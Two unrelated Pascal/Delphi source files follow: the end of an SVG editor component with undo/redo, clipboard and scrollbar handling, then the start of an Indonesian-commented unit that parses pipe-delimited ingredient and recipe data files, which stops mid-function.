Result := TSVGEditorCmdSetAttribute.Create(ID, aName, CurValue, aValue);
end;
function TSVGEditor.CmdToolSelectCreate(
const aTool: TSVGToolClass): TSVGEditorCmdToolSelect;
begin
Result := TSVGEditorCmdToolSelect.Create(FCurTool, aTool);
end;
procedure TSVGEditor.CmdUndo;
var
Cmd: TSVGEditorCmd;
begin
if FCmdUndoStack.Count > 0 then
begin
Cmd := FCmdUndoStack.Pop;
try
CmdExec(Cmd, True);
FCmdRedoStack.Push(Cmd);
except on E:Exception do
begin
// Stacks are invalid
CmdUndoStackClear;
CmdRedoStackClear;
end;
end;
end;
end;
procedure TSVGEditor.CmdUndoStackClear;
var
Cmd: TSVGEditorCmd;
begin
while FCmdUndoStack.Count > 0 do
begin
Cmd := FCmdUndoStack.Pop;
Cmd.Free;
end;
end;
function TSVGEditor.ControlSize(const aScrollbarKind: ShortInt;
const aControlSB, aAssumeSB: Boolean): Integer;
var
BorderAdjust: Integer;
// From TControlScrollBar
function ScrollBarVisible(Code: Word): Boolean;
var
Style: Longint;
begin
Style := WS_HSCROLL;
if Code = SB_VERT then Style := WS_VSCROLL;
Result := GetWindowLong(Handle, GWL_STYLE) and Style <> 0;
end;
function Adjustment(Code, Metric: Word): Integer;
begin
Result := 0;
if not aControlSB then
begin
if aAssumeSB and not ScrollBarVisible(Code) then
Result := -(GetSystemMetrics(Metric) - BorderAdjust)
else
if not aAssumeSB and ScrollBarVisible(Code) then
Result := GetSystemMetrics(Metric) - BorderAdjust;
end;
end;
begin
BorderAdjust := Integer(GetWindowLong(Handle, GWL_STYLE) and
(WS_BORDER or WS_THICKFRAME) <> 0);
if aScrollbarKind = SB_VERT then
Result := ClientHeight + Adjustment(SB_HORZ, SM_CXHSCROLL)
else
Result := ClientWidth + Adjustment(SB_VERT, SM_CYVSCROLL);
end;
constructor TSVGEditor.Create(AOwner: TComponent);
begin
inherited;
FElementList := TDictionary<Integer, ISVGElement>.Create;
FMaxID := -1;
FSelectedElementList := TList<Integer>.Create;
FTimerUpdatePage := TTimer.Create(Self);
FTimerUpdatePage.Enabled := False;
FTimerUpdatePage.Interval := 200;
FTimerUpdatePage.OnTimer := DoUpdatePage;
FPadding := TPadding.Create(Self);
FPadding.Left := 100;
FPadding.Top := 100;
FPadding.Right := 100;
FPadding.Bottom := 100;
FPadding.OnChange := DoPaddingChange;
FScale := 1.0;
FToolList := TList<TSVGEditorTool>.Create;
FUpdateRectList := TList<TSVGRect>.Create;
FChildListBefore := nil;
FCmdUndoStack := TStack<TSVGEditorCmd>.Create;
FCmdRedoStack := TStack<TSVGEditorCmd>.Create;
FBackgroundColor := SVGColorWhite;
DoubleBuffered := True;
FCurTool := TSVGEditorToolTransform;
end;
procedure TSVGEditor.CreateParams(var params: TCreateParams);
begin
inherited;
params.Style := params.Style or WS_VSCROLL or WS_HSCROLL;
end;
destructor TSVGEditor.Destroy;
begin
ToolsClear;
FToolList.Free;
CmdUndoStackClear;
FCmdUndoStack.Free;
CmdRedoStackClear;
FCmdRedoStack.Free;
FUpdateRectList.Free;
FSelectedElementList.Free;
if assigned(FBitmap) then
FBitmap.Free;
if assigned(FBitmapSelection) then
FBitmapSelection.Free;
if assigned(FChildListBefore) then
FChildListBefore.Free;
FElementList.Free;
FPadding.Free;
inherited;
end;
procedure TSVGEditor.DoElementAdd(const aParent: ISVGElement;
const aIndex: Integer; const aElement: ISVGElement);
begin
if assigned(FOnElementAdd) then
FOnElementAdd(Self, aParent, aIndex, aElement);
end;
procedure TSVGEditor.DoElementRemove(const aElement: ISVGElement);
begin
if assigned(FOnElementRemove) then
FOnElementRemove(Self, aElement);
end;
procedure TSVGEditor.DoElementSelect(const aElement: ISVGElement);
begin
if assigned(FOnElementSelect) then
FOnElementSelect(Self);
end;
procedure TSVGEditor.DoPaddingChange(Sender: TObject);
begin
UpdateScrollbars;
Repaint;
end;
procedure TSVGEditor.DoSetAttribute(const aElement: ISVGElement; const aName,
aValue: TSVGUnicodeString);
begin
if assigned(FOnSetAttribute) then
FOnSetAttribute(Self, aElement, aName, aValue);
end;
procedure TSVGEditor.DoToolSelect(const aTool: TSVGToolClass);
begin
if assigned(FOnToolSelect) then
FOnToolSelect(Self, aTool);
end;
procedure TSVGEditor.DoUpdatePage(Sender: TObject);
begin
FTimerUpdatePage.Enabled := False;
ToolsClear;
try
CalcCanvasRect;
UpdatePage([]);
finally
ToolsCreate;
end;
end;
procedure TSVGEditor.ElementsUnselectAll;
var
TempList: TList<Integer>;
begin
TempList := TList<Integer>.Create;
try
SelectedElementList := TempList;
finally
TempList.Free;
end;
end;
procedure TSVGEditor.ElementAdd(const aFragment: string);
var
sl: TStringList;
begin
sl := TStringList.Create;
try
sl.Add(aFragment);
ElementsAdd(sl);
finally
sl.Free;
end;
end;
function TSVGEditor.ElementIsSelected(const aID: Integer): Boolean;
begin
Result := SelectedElementList.IndexOf(aID) <> -1;
end;
procedure TSVGEditor.ElementListInit(aNode: IXMLNode; var aID: Integer);
var
i: Integer;
Element: ISVGElement;
begin
if Supports(aNode, ISVGElement, Element) then
begin
Inc(aID);
if FElementList.ContainsKey(aID) then
FElementList[aID] := TSVGElement(Element)
else
FElementList.Add(aID, TSVGElement(Element));
Element.SetAttributeNS(prefix_local_id + ':' + at_local_id, ns_svg_editor, IntToStr(aID));
end;
for i := 0 to aNode.ChildNodes.Count - 1 do
ElementListInit(aNode.ChildNodes[i], aID);
end;
procedure TSVGEditor.ElementsAdd(const aFragments: TStringList);
var
i: Integer;
ID: Integer;
Parent: ISVGElement;
CmdGroup: TSVGEditorCmdGroup;
CmdElementSelect: TSVGEditorCmdElementsSelect;
CmdElementAdd: TSVGEditorCmdElementAdd;
DOMNode: IDOMNode;
DOMElement: IDOMElement;
begin
if FSelectedElementList.Count <> 1 then
raise Exception.Create('Select one parent element.');
ID := FSelectedElementList[0];
if not Supports(FElementList[ID], ISVGElement, Parent) then
Exit;
CmdGroup := TSVGEditorCmdGroup.Create;
try
CmdElementSelect := TSVGEditorCmdElementsSelect.Create;
// Unselect current selection
for ID in FSelectedElementList do
begin
CmdElementSelect.Unselect.Add(ID);
end;
for i := 0 to aFragments.Count - 1 do
begin
CmdElementAdd := CmdElementAddCreate(Parent, -1, aFragments[i]);
DOMNode := CmdElementAdd.DOMDocument.documentElement.firstChild;
while assigned(DOMNOde) do
begin
if Supports(DOMNode, IDOMElement, DOMElement) then
CmdElementSelect.Select.Add(GetElementID(DOMElement));
DOMNode := DomNode.nextSibling;
end;
CmdGroup.CmdList.Add(CmdElementAdd);
end;
CmdGroup.CmdList.Add(CmdElementSelect);
CmdExec(CmdGroup, False);
FCmdUndoStack.Push(CmdGroup);
except on E:Exception do
CmdGroup.Free;
end;
end;
procedure TSVGEditor.ElementsCopy;
var
ID: Integer;
Element: ISVGElement;
sl: TStringList;
Formatter: TSVGXmlFormatter;
begin
if SelectedElementList.Count = 0 then
Exit;
sl := TStringList.Create;
try
for ID in SelectedElementList do
begin
Element := FElementList[ID];
Formatter := TSVGXmlFormatter.Create([]);
try
Formatter.WriteNode(Element.DOMNode);
sl.Add(Formatter.ToUnicodeString);
finally
Formatter.Free;
end;
end;
Clipboard.AsText := sl.Text;
finally
sl.Free;
end;
end;
procedure TSVGEditor.ElementsCut;
var
ID: Integer;
Parent, Element: ISVGElement;
CmdGroup: TSVGEditorCmdGroup;
CmdElementSelect: TSVGEditorCmdElementsSelect;
sl: TStringList;
Formatter: TSVGXmlFormatter;
begin
if SelectedElementList.Count = 0 then
Exit;
// Select the parent of first node that is deleted
Element := FElementList[SelectedElementList[0]];
if not Supports(Element.ParentNode, ISVGElement, Parent) then
Exit;
CmdGroup := TSVGEditorCmdGroup.Create;
try
CmdElementSelect := TSVGEditorCmdElementsSelect.Create;
CmdGroup.CmdList.Add(CmdElementSelect);
CmdElementSelect.Select.Add(GetElementID(Parent));
sl := TStringList.Create;
try
for ID in SelectedElementList do
begin
Element := FElementList[ID];
CmdElementSelect.Unselect.Add(GetElementID(Element));
CmdGroup.CmdList.Add(CmdElementRemoveCreate(Element));
Formatter := TSVGXmlFormatter.Create([]);
try
Formatter.WriteNode(Element.DOMNode);
sl.Add(Formatter.ToUnicodeString);
finally
Formatter.Free;
end;
end;
Clipboard.AsText := sl.Text;
finally
sl.Free;
end;
CmdExec(CmdGroup, False);
FCmdUndoStack.Push(CmdGroup);
except on E:Exception do
CmdGroup.Free;
end;
end;
procedure TSVGEditor.ElementsDelete;
var
ID: Integer;
Parent, Element: ISVGElement;
CmdGroup: TSVGEditorCmdGroup;
CmdElementSelect: TSVGEditorCmdElementsSelect;
begin
if SelectedElementList.Count = 0 then
Exit;
// Select the parent of first node that is deleted
Element := FElementList[SelectedElementList[0]];
if not Supports(Element.ParentNode, ISVGElement, Parent) then
Exit;
CmdGroup := TSVGEditorCmdGroup.Create;
try
CmdElementSelect := TSVGEditorCmdElementsSelect.Create;
CmdGroup.CmdList.Add(CmdElementSelect);
CmdElementSelect.Select.Add(GetElementID(Parent));
for ID in SelectedElementList do
begin
Element := FElementList[ID];
CmdElementSelect.Unselect.Add(ID);
CmdGroup.CmdList.Add(CmdElementRemoveCreate(Element));
end;
CmdExec(CmdGroup, False);
FCmdUndoStack.Push(CmdGroup);
except on E:Exception do
CmdGroup.Free;
end;
end;
procedure TSVGEditor.ElementsPaste;
var
sl: TStringList;
begin
sl := TStringList.Create;
try
sl.Text := Clipboard.AsText;
if sl.Count = 0 then
Exit;
ElementsAdd(sl);
finally
sl.Free;
end;
end;
procedure TSVGEditor.ElementsSelect(aList: TList<Integer>);
begin
SelectedElementList := aList;
end;
function TSVGEditor.GetCmdRedoCount: Integer;
begin
Result := FCmdRedoStack.Count;
end;
function TSVGEditor.GetCmdUndoCount: Integer;
begin
Result := FCmdUndoStack.Count;
end;
function TSVGEditor.GetElement(const aID: Integer): ISVGElement;
begin
Result := FElementList[aID];
end;
function TSVGEditor.GetElementID(aElement: IDOMElement): Integer;
var
ID: string;
begin
ID := aElement.getAttributeNS(ns_svg_editor, at_local_id);
Result := StrToInt(ID);
end;
function TSVGEditor.GetSelectedElement(const aIndex: Integer): Integer;
begin
if aIndex < SelectedElementList.Count then
Result := SelectedElementList[aIndex]
else
Result := -1;
end;
function TSVGEditor.GetSelectedElementCount: Integer;
begin
Result := SelectedElementList.Count;
end;
function TSVGEditor.GetElementID(aElement: ISVGElement): Integer;
var
DOMElement: IDOMElement;
begin
if Supports(aElement.DOMNode, IDOMElement, DOMElement) then
Result := GetElementID(DOMElement)
else
raise Exception.Create('ISVGElement does not wrap a DOMElement');
end;
procedure TSVGEditor.HandleScrollbar(var aMsg: TWMSCROLL; aBar: Integer);
var
ScrollInfo: TScrollInfo;
begin
aMsg.result := 0;
ScrollInfo.cbSize := Sizeof(TScrollInfo);
ScrollInfo.fMask := SIF_ALL;
GetScrollInfo(Handle, aBar, ScrollInfo);
ScrollInfo.fMask := SIF_POS;
// For simplicities sake we use 1/10 of the page size as small scroll
// increment and the page size as large scroll increment
case aMsg.ScrollCode of
SB_TOP:
ScrollInfo.nPos := ScrollInfo.nMin;
SB_BOTTOM:
ScrollInfo.nPos := ScrollInfo.nMax;
SB_LINEUP:
Dec(ScrollInfo.nPos, ScrollInfo.nPage div 10);
SB_LINEDOWN:
Inc(ScrollInfo.nPos, ScrollInfo.nPage div 10);
SB_PAGEUP:
Dec(ScrollInfo.nPos, ScrollInfo.nPage);
SB_PAGEDOWN:
Inc(ScrollInfo.nPos, ScrollInfo.nPage);
SB_THUMBTRACK, SB_THUMBPOSITION:
ScrollInfo.nPos := aMsg.Pos;
SB_ENDSCROLL:
Exit;
end;
ScrollInfo.fMask := SIF_POS;
if ScrollInfo.nPos < ScrollInfo.nMin then
ScrollInfo.nPos := ScrollInfo.nMin;
if ScrollInfo.nPos > ScrollInfo.nMax then
ScrollInfo.nPos := ScrollInfo.nMax;
SetScrollInfo(Handle, aBar, ScrollInfo, true);
if aBar = SB_HORZ then
TopLeft := Point(ScrollInfo.nPos, TopLeft.Y)
else
TopLeft := Point(TopLeft.X, ScrollInfo.nPos);
end;
procedure TSVGEditor.Init;
begin
if assigned(FRoot) then
begin
FRoot.SVG.SetAttributeNS('xmlns:svge', ns_svg_editor, ns_svg_editor);
ElementListInit(FRoot.SVG, FMaxID);
CalcCanvasRect;
DoElementAdd(nil, -1, FRoot.SVG);
end;
UpdatePage([]);
Invalidate;
end;
procedure TSVGEditor.KeyDown(var Key: Word; Shift: TShiftState);
const
ScrollKind: array[Boolean] of Cardinal = (WM_VSCROLL, WM_HSCROLL);
var
Tool: TSVGEditorTool;
procedure Scroll(aScrollCode, message: Cardinal);
begin
Perform(message, aScrollCode, 0);
end;
begin
inherited;
for Tool in FToolList do
begin
Tool.KeyDown(Key, Shift);
end;
// Ignoring shift state for arrow keys here for simplicities sake
case Key of
VK_UP:
Scroll(SB_LINEUP, WM_VSCROLL);
VK_LEFT:
Scroll(SB_LINEUP, WM_HSCROLL);
VK_DOWN:
Scroll(SB_LINEDOWN, WM_VSCROLL);
VK_RIGHT:
Scroll(SB_LINEDOWN, WM_HSCROLL);
VK_NEXT:
Scroll(SB_PAGEDOWN, ScrollKind[ssCtrl in Shift]);
VK_PRIOR:
Scroll(SB_PAGEUP, ScrollKind[ssCtrl in Shift]);
VK_HOME:
Scroll(SB_TOP, ScrollKind[ssCtrl in Shift]);
VK_END:
Scroll(SB_BOTTOM, ScrollKind[ssCtrl in Shift]);
end;
Key := 0;
end;
procedure TSVGEditor.LoadFromFile(const aFilename: string);
var
Parser: TSVGSaxParser;
begin
Clear;
FRoot := TSVGRootVCL.Create;
FRoot.OnRenderSVGObject := RenderSVGObject;
Parser := TSVGSaxParser.Create(nil);
try
Parser.Parse(FFileName, FRoot);
finally
Parser.Free;
end;
Init;
end;
procedure TSVGEditor.LoadFromStream(aStream: TStream);
var
Parser: TSVGSaxParser;
begin
Clear;
FRoot := TSVGRootVCL.Create;
FRoot.OnRenderSVGObject := RenderSVGObject;
Parser := TSVGSaxParser.Create(nil);
try
Parser.Parse(aStream, FRoot);
finally
Parser.Free;
end;
Init;
end;
procedure TSVGEditor.MouseDown(Button: TMouseButton; Shift: TShiftState; X,
Y: Integer);
var
i: Integer;
SVGObject: ISVGObject;
TempList: TList<Integer>;
begin
inherited;
if (Button = mbLeft) and CanFocus and not Focused then
SetFocus;
if assigned(FRoot) then
begin
SVGObject := SVGObjectAt(FRoot, PointToSVG(Point(X, Y)), False);
i := 0;
while (i < FToolList.Count) do
begin
if FToolList[i].SVGObject as IInterface = SVGObject as IInterface then
Break;
Inc(i);
end;
if i = FToolList.Count then
begin
TempList := TList<Integer>.Create;
try
if assigned(SVGObject) then
TempList.Add(GetElementID(SVGObject));
SelectedElementList := TempList;
finally
TempList.Free;
end;
end;
end;
end;
procedure TSVGEditor.MouseMove(Shift: TShiftState; X, Y: Integer);
begin
inherited;
end;
procedure TSVGEditor.MouseUp(Button: TMouseButton; Shift: TShiftState; X,
Y: Integer);
begin
inherited;
end;
procedure TSVGEditor.Paint;
begin
inherited;
if assigned(FBitmap) then
Canvas.Draw(-FTopLeft.X, -FTopLeft.Y, FBitmap);
end;
procedure TSVGEditor.RenderSVGObject(aSVGObject: ISVGObject;
aParentCache: ISVGObjectCache; const aStage: TSVGRenderStage;
var IsRendered: Boolean);
var
Tool: TSVGEditorTool;
begin
if FRenderingSelection = rsBackground then
begin
IsRendered := True;
for Tool in FToolList do
begin
if Tool.SVGObject as IInterface = aSVGObject as IInterface then
begin
IsRendered := False;
Break;
end;
end;
end;
end;
procedure TSVGEditor.Resize;
begin
inherited;
UpdateScrollbars;
FTimerUpdatePage.Enabled := False;
FTimerUpdatePage.Enabled := True;
end;
procedure TSVGEditor.SaveToFile(const aFilename: string);
begin
if not assigned(FRoot) then
Exit;
FRoot.Doc.SaveToFile(aFileName);
end;
procedure TSVGEditor.SetAttribute(const aName, aValue: TSVGUnicodeString);
var
ID: Integer;
Element: ISVGElement;
CmdGroup: TSVGEditorCmdGroup;
begin
if FSelectedElementList.Count = 0 then
Exit;
CmdGroup := TSVGEditorCmdGroup.Create;
try
for ID in SelectedElementList do
begin
Element := FElementList[ID];
CmdGroup.CmdList.Add(CmdSetAttributeCreate(Element, aName, aValue));
end;
CmdExec(CmdGroup, False);
FCmdUndoStack.Push(CmdGroup);
except on E:Exception do
CmdGroup.Free;
end;
end;
procedure TSVGEditor.SetCanvasRect(const Value: TRect);
begin
if FCanvasRect <> Value then
begin
FCanvasRect := Value;
UpdateScrollbars;
end;
end;
procedure TSVGEditor.SetFilename(const Value: string);
begin
FFilename := Value;
LoadFromFile(FFilename);
end;
procedure TSVGEditor.SetPadding(const Value: TPadding);
begin
FPadding.Assign(Value);
end;
procedure TSVGEditor.SetScale(const Value: TSVGFloat);
begin
ToolsClear;
try
if FScale <> Value then
begin
FScale := Value;
CalcCanvasRect;
UpdatePage([]);
end;
finally
ToolsCreate;
end;
end;
procedure TSVGEditor.SetSelectedElementList(const Value: TList<Integer>);
var
ID: Integer;
CmdElementSelect: TSVGEditorCmdElementsSelect;
begin
CmdElementSelect := TSVGEditorCmdElementsSelect.Create;
try
// Deselect nodes that are not in value
for ID in FSelectedElementList do
begin
if Value.IndexOf(ID) = -1 then
CmdElementSelect.Unselect.Add(ID);
end;
// Select nodes that are not in FSelectedElementList
for ID in Value do
begin
if FSelectedElementList.IndexOf(ID) = -1 then
CmdElementSelect.Select.Add(ID);
end;
CmdExec(CmdElementSelect, False);
FCmdUndoStack.Push(CmdElementSelect);
except on E:Exception do
CmdElementSelect.Free;
end;
end;
procedure TSVGEditor.SetTopLeft(const Value: TPoint);
var
Dx, Dy: Integer;
Tool: TSVGEditorTool;
begin
if FTopLeft <> Value then
begin
for Tool in FToolList do
begin
Dx := Value.X - FTopLeft.X;
Dy := Value.Y - FTopLeft.Y;
Tool.Left := Tool.Left - Dx;
Tool.Top := Tool.Top - Dy;
Tool.UpdateHandles;
end;
FTopLeft := Value;
Repaint;
end;
end;
procedure TSVGEditor.ToolAttributeChangeEvent(Sender: TObject; const aAttrName,
aAttrValue: TSVGUnicodeString);
var
Tool: TSVGEditorTool;
begin
if Sender is TSVGEditorTool then
begin
Tool := Sender as TSVGEditorTool;
DoSetAttribute(Tool.SVGObject, aAttrName, aAttrValue);
end;
end;
function TSVGEditor.ToolCreate(aSVGObject: ISVGObject): TSVGEditorTool;
var
ParentObject: ISVGObject;
ParentCache: ISVGObjectCache;
begin
if Supports(aSVGObject.ParentNode, ISVGObject, ParentObject) then
ParentCache := ParentObject.CacheList[0]
else
ParentCache := nil;
Result := FCurTool.Create(Self, FRoot, aSVGObject, ParentCache);
Result.Parent := Self;
Result.OnAttributeChange := ToolAttributeChangeEvent;
end;
procedure TSVGEditor.ToolDestroy(var aTool: TSVGEditorTool);
begin
if assigned(aTool) then
begin
if aTool.IsChanged then
aTool.Apply;
UpdatePage([rsCalcCache]);
FreeAndNil(aTool);
end;
end;
procedure TSVGEditor.ToolsClear;
var
R: TSVGRect;
Tool: TSVGEditorTool;
begin
FUpdateRectList.Clear;
while FToolList.Count > 0 do
begin
Tool := FToolList[0];
R := TSVGRect.Create(Tool.BoundsRect);
R.Offset(TopLeft.X, TopLeft.Y);
R := TransformRect(R, FInvMatrix);
FUpdateRectList.Add(R);
FToolList.Delete(0);
ToolDestroy(Tool);
end;
end;
procedure TSVGEditor.ToolsCreate;
var
ID: Integer;
Element: ISVGElement;
R: TSVGRect;
Tool: TSVGEditorTool;
SVGObject: ISVGObject;
begin
for ID in FSelectedElementList do
begin
Element := FElementList[ID];
if Supports(Element, ISVGObject, SVGObject) then
begin
Tool := ToolCreate(SVGObject);
FToolList.Add(Tool);
R := TSVGRect.Create(Tool.BoundsRect);
R.Offset(TopLeft.X, TopLeft.Y);
R := TransformRect(R, FInvMatrix);
FUpdateRectList.Add(R);
end;
end;
for R in FUpdateRectList do
FRoot.InvalidateRect(R);
UpdatePage([]);
FUpdateRectList.Clear;
end;
procedure TSVGEditor.ToolSelect(const aTool: TSVGToolClass);
var
CmdToolSelect: TSVGEditorCmdToolSelect;
begin
CmdToolSelect := CmdToolSelectCreate(aTool);
try
CmdExec(CmdToolSelect, False);
FCmdUndoStack.Push(CmdToolSelect);
except on E:Exception do
CmdToolSelect.Free;
end;
end;
function TSVGEditor.PointToSVG(const aPoint: TPoint): TSVGPoint;
begin
Result := TransformPoint(
aPoint.X + FTopLeft.X,
aPoint.Y + FTopLeft.Y,
FInvMatrix);
end;
procedure TSVGEditor.UpdatePage(const aRenderMode: TSVGRenderMode);
var
W, H: Integer;
R: TSVGRect;
SaveMatrix: TSVGMatrix;
begin
W := FCanvasRect.Width;
H := FCanvasRect.Height;
if assigned(FBitmap) then
begin
if (FBitmap.Width <> W) or (FBitmap.Height <> H) then
begin
FBitmap.SetSize(W, H);
FPageRC := TSVGRenderContextManager.CreateRenderContextBitmap(FBitmap);
end;
end else begin
FBitmap := TSVGRenderContextManager.CreateCompatibleBitmap(W, H);
FPageRC := TSVGRenderContextManager.CreateRenderContextBitmap(FBitmap);
end;
FPageRC.BeginScene;
try
if not(rsCalcCache in aRenderMode) then
begin
if (not assigned(FRoot)) or (FRoot.UpdateRectList.Count = 0) then
FPageRC.Clear(FBackgroundColor);
FPageRC.ApplyStroke(TSVGSolidBrush.Create(SVGColorGray), 1);
FPageRC.DrawRect(
SVGRect(
FPadding.Left,
FPadding.Top,
FCanvasRect.Right - FPadding.Right,
FCanvasRect.Bottom - FPadding.Bottom));
end;
if assigned(FRoot) then
begin
SaveMatrix := FPageRC.Matrix;
try
FPageRC.Matrix := FMatrix;
FRenderingSelection := rsFull;
if not(rsCalcCache in aRenderMode) then
begin
if FRoot.UpdateRectList.Count > 0 then
begin
FRenderingSelection := rsBackground;
for R in FRoot.UpdateRectList do
begin
FPageRC.ApplyFill(TSVGSolidBrush.Create(FBackgroundColor));
FPageRC.FillRect(R);
end;
end;
end;
FRoot.RenderMode := aRenderMode;
SVGRenderToRenderContext(
FRoot,
FPageRC,
FCanvasRect.Width - FPadding.Left - FPadding.Right,
FCanvasRect.Height - FPadding.Top - FPadding.Bottom,
//[sroClippath, sroFilters],
[],
False,
arXMidYMid,
arMeet);
finally
FPageRC.Matrix := SaveMatrix;
end;
end;
finally
FPageRC.EndScene;
end;
if not(rsCalcCache in aRenderMode) then
Repaint;
end;
procedure TSVGEditor.UpdateScrollbars;
var
ScrollInfo: TScrollInfo;
begin
ScrollInfo.cbSize := Sizeof(TScrollInfo);
ScrollInfo.fMask := SIF_PAGE or SIF_POS or SIF_RANGE;
ScrollInfo.nMin := 0;
ScrollInfo.nMax := FCanvasRect.Height;
ScrollInfo.nPage := ControlSize(SB_VERT, False, False);
ScrollInfo.nPos := 0;
SetScrollInfo(Handle, SB_VERT, ScrollInfo, True);
ScrollInfo.nMax := FCanvasRect.Width;
ScrollInfo.nPage := ControlSize(SB_HORZ, False, False);
SetScrollInfo(Handle, SB_HORZ, ScrollInfo, True);
end;
procedure TSVGEditor.WMGetDlgCode(var msg: TWMGetDlgCode);
begin
msg.result := DLGC_WANTARROWS;
end;
procedure TSVGEditor.WMHScroll(var msg: TWMSCROLL);
begin
HandleScrollbar(msg, SB_HORZ);
end;
procedure TSVGEditor.WMVScroll(var msg: TWMSCROLL);
begin
HandleScrollbar(msg, SB_VERT);
end;
end.
|
unit UFile;
interface
uses UTipe,UTanggal,UUI,sysutils;
var
LoadSukses:boolean;
LoadInventoriSukses:boolean;
function parse(NamaFile:string):Tabel;
{Menerima input nama file lalu output tabel sementara(data bentukan Tabel) berisi data dari file}
function getBahanMentah(Input:Tabel):DaftarBahanMentah;
{Menerima input tabel data sementara dan mengubahnya menjadi DaftarBahanMentah}
function getBahanOlahan(Input:Tabel):DaftarBahanOlahan;
{Menerima input tabel data sementara dan mengubahnya menjadi DaftarBahanOlahan}
function getInventoriBahanMentah(Input:Tabel):InventoriBahanMentah;
{Menerima input tabel data sementara dan mengubahnya menjadi InventoriBahanMentah}
function getInventoriBahanOlahan(Input:Tabel):InventoriBahanOlahan;
{Menerima input tabel data sementara dan mengubahnya menjadi InventoriBahanOlahan}
function getResep(Input:Tabel):DaftarResep;
{Menerima input tabel data sementara dan mengubahnya menjadi DaftarResep}
function getSimulasi(Input:Tabel):DaftarSimulasi;
{Menerima input tabel data sementara dan mengubahnya menjadi DaftarSimulasi}
procedure tulisBalik(InputBahanMentah:DaftarBahanMentah; InputBahanOlahan:DaftarBahanOlahan; InputResep:DaftarResep; InputSimulasi:DaftarSimulasi);
{I.S. : Menerima input ke 4 variabel daftar selain inventori}
{F.S. : Semua variabel ditulis ke file}
procedure tulisInventori(InputInventoriBahanMentah:InventoriBahanMentah; InputInventoriBahanOlahan:InventoriBahanOlahan;Nomor:integer);
{I.S. : Menerima input 2 variabel inventori dan nomor simulasi inventori tersebut}
{F.S. : dituliskan ke file}
implementation
var
InternalBahanMentah:DaftarBahanMentah;
InternalBahanOlahan:DaftarBahanOlahan;
function cariBahanMentah(Nama:string):integer;
{Kamus Lokal}
var
i:integer;
Ketemu:boolean;
{Algoritma - cariBahanMentah}
begin
i:=1;
Ketemu:=false;
while ((i <= InternalBahanMentah.Neff)and not(Ketemu)) do
begin
if(InternalBahanMentah.Isi[i].Nama = Nama)then
begin
Ketemu := true;
end else
begin
i:=i+1;
end;
end;
if(not(Ketemu))then
begin
writeError('UFile','Ada entri inventori bahan mentah (' + Nama + ') yang tidak punya entri di file bahan mentah');
LoadInventoriSukses:=false;
end;
cariBahanMentah:=i;
end;
function cariBahanOlahan(Nama:string):integer;
{Kamus Lokal}
var
i:integer;
Ketemu:boolean;
{Algoritma - cariBahanMentah}
begin
i:=1;
Ketemu:=false;
while ((i <= InternalBahanOlahan.Neff)and not(Ketemu)) do
begin
if(InternalBahanOlahan.Isi[i].Nama = Nama)then
begin
Ketemu := true;
end else
begin
i:=i+1;
end;
end;
if(not(Ketemu))then
begin
writeError('UFile','Ada entri inventori bahan olahan (' + Nama + ') yang tidak punya entri di file bahan olahan');
LoadInventoriSukses:=false;
end;
cariBahanOlahan:=i;
end;
function parse(NamaFile:string):Tabel;
{KAMUS LOKAL}
var
data:Text;
kolom:integer; {Indeks data}
baris:integer; {Indeks data}
temp:string; {Menyimpan data sementara dari file}
newString:string;
ch:char; {Menyimpan sementara character dari file saat dibaca}
line:string;
i:integer;
DataTerambil:Tabel;
{ALGORITMA-PARSE}
begin
if(FileExists(NamaFile))then
begin
assign(data, NamaFile);
reset(data);
{Mengatur batas maksimal kolom yang dibaca}
DataTerambil.NKol:=0;
DataTerambil.NBar:=0;
baris:=1;
while (not(eof(data))) do
begin
{Proses per baris}
DataTerambil.NBar:=DataTerambil.Nbar+1;
readln(data, line);
i:=0;
kolom:=1;
temp:='';
while(i<=length(line)) do
begin
{Proses per karakter}
ch:=line[i];
if(ch='|')then
begin
{Jika ketemu karakter pemisah masukkan semua string sebelum karakter ke tabel}
kolom:=kolom+1;
newString := temp;
delete(newString,1,1);
delete(newString,length(newString),1);
DataTerambil.Isi[baris][kolom-1]:=newString;
temp:='';
end else
begin
{Jika bukan karakter pemisah, tambahkan karakter ke string sementara}
temp:=temp+ch;
end;
{Di ujung juga lakukan hal yang sama seperti ketemu pemisah}
if(i=length(line))then
begin
kolom:=kolom+1;
newString:=temp;
delete(newString,1,1);
DataTerambil.Isi[baris][kolom-1]:=newString;
end;
i:=i+1;
end;
{set NKol ke kolom terbanyak di file}
if(kolom>DataTerambil.NKol)then
begin
DataTerambil.NKol := kolom;
end;
baris:=baris + 1;
end;
close(data);
end else
begin
writeError('UFile','Tidak dapat menemukan file ' + NamaFile);
LoadSukses:=false;
end;
parse:=DataTerambil;
end;
function getBahanMentah(Input:Tabel):DaftarBahanMentah;
{Kamus lokal}
var
i:integer;
Hasil:DaftarBahanMentah; {variabel getBahanMentah sementara}
KodeError:integer; {akan =/= 0 saat ada error}
IsError:boolean;
{Algoritma - getBahanMentah}
begin
{Untuk setiap data ubah ke format yang dimau}
for i:=1 to Input.NBar do
begin
Hasil.Isi[i].Nama := Input.Isi[i][1];
Val(Input.Isi[i][2],Hasil.Isi[i].Harga,KodeError);
IsError:=(KodeError<>0);
Val(Input.Isi[i][3],Hasil.Isi[i].Kadaluarsa,KodeError);
IsError:= IsError or (KodeError<>0);
if(isError)then
begin
writeError('UFile','Error dalam membaca file bahan mentah, baris ' + IntToStr(i));
LoadSukses:=false;
end;
end;
Hasil.Neff:=Input.Nbar;
InternalBahanMentah:=Hasil;
getBahanMentah:=Hasil;
end;
function getBahanOlahan(Input:Tabel):DaftarBahanOlahan;
{Kamus lokal}
var
i,j:integer;
Hasil:DaftarBahanOlahan; {variabel getBahanOlahan sementara}
JumlahBahanMentah:integer;
KodeError:integer; {akan =/= 0 saat ada error}
IsError:boolean;
{Algoritma - getBahanOlahan}
begin
{Untuk setiap data ubah ke format yang dimau}
for i:=1 to Input.NBar do
begin
Hasil.Isi[i].Nama := Input.Isi[i][1];
Val(Input.Isi[i][2], Hasil.Isi[i].Harga,KodeError);
IsError:=(KodeError<>0);
Val(Input.Isi[i][3],JumlahBahanMentah,KodeError);
IsError:= IsError or (KodeError<>0);
Hasil.Isi[i].JumlahBahan:=JumlahBahanMentah;
if((JumlahBahanMentah<=10)and(JumlahBahanMentah>=1))then
begin
for j:=1 to JumlahBahanMentah do
begin
if(Input.isi[i][j+3]='')then
begin
IsError:=true;
writeError('UFile','Ada bahan olahan ('+ Input.Isi[i][1] +') yang jumlah bahannya tidak sesuai dengan jumlah bahan yang ada');
end else
begin
Hasil.Isi[i].Bahan[j] := Input.isi[i][j+3];
end;
end;
end else
begin
IsError:=true;
